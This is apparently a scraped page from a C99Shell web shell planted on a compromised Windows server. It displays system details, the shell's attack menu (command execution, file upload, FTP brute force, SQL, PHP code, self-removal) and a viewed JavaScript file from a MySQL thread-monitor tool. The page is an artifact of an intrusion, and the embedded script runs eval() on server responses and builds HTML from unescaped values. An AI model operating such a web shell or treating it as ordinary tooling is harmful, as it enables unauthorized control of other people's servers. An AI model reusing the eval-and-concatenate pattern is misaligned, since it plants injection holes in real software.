!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\monitor\ajaxMyTop\js\   drwxrwxrwx
Free 7.27 GB of 239.26 GB (3.04%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Explanation.js (2.25 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Explanation = Class.create();

Explanation.prototype = {
	initialize: function (threadId) {
		this.id = "expl"+threadId;
		this.eCallback = {
			success: this.handleExplainResponse,
			failure: this.handleExplainError,
			scope: this
		};
		this.threadId = threadId;
		this.sql = "";
		this.tables = "";
		// if this thread has already been explained and registered...
		if (oMgr.find(this.id+"Panel")){
			// simply re-show the explanation panel
			this.dispPanel = oMgr.find(this.id+"Panel");
			this.dispPanel.show();
		} else {
			// otherwise, need to explain this thread from server
			this.dispPanel = new YAHOO.widget.Panel(this.id + "Panel");
			this.explainThread();
		}
	},

	explainThread: function(){
		var request = "";
		var explainURL = "explain.php?Id="+this.threadId;
		YAHOO.util.Connect.asyncRequest("GET", explainURL, this.eCallback);
	},
	
	handleExplainResponse: function(request){
		eval(request.responseText);
		if(explain.error){
			alert("ERROR:" + explain.error);
		} else {
			this.sql = explain.sql;
			this.tables = explain.tables;
			this.displayExplanation.call(this);
		}
	},

	displayExplanation: function(){
		// set header to thread id
		this.dispPanel.setHeader("Thread: " + this.threadId);
		
		// set body to table details
		var bodyHTML = "<table border=\"1\"><tr><th>SQL:</th><th colspan=\"8\">" + this.sql + "</th></tr>";
		bodyHTML += "<tr><th>Select Type</th><th>Table</th><th>Type</th><th>Poss. Keys</th><th>Key</th><th>Key Len</th><th>Ref</th><th>Rows</th><th>Extra</th></tr>";
		for(i=0; i<this.tables.length; i++){
			table = this.tables[i];
			bodyHTML += "<tr><td>"+table.select_type+"</td><td>"+table.table+"</td><td>"+table.type+"</td><td>"+table.possible_keys+"</td><td>"+table.key+"</td><td>"+table.key_len+"</td><td>"+table.ref+"</td><td>"+table.rows+"</td><td>"+table.Extra+"</td></tr>";
		}
		this.dispPanel.setBody(bodyHTML);
		
		// set footer to kill link
		footerHTML = "<a href=\"javascript:killThread('" + this.threadId + "');\"><img src=\"images/kill.png\" border=\"0\" /></a> Kill Thread";
		this.dispPanel.setFooter(footerHTML);
		
		// register this panel with manager
		oMgr.register(this.dispPanel);
		// render this panel
		this.dispPanel.render(document.body);
	}
};

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--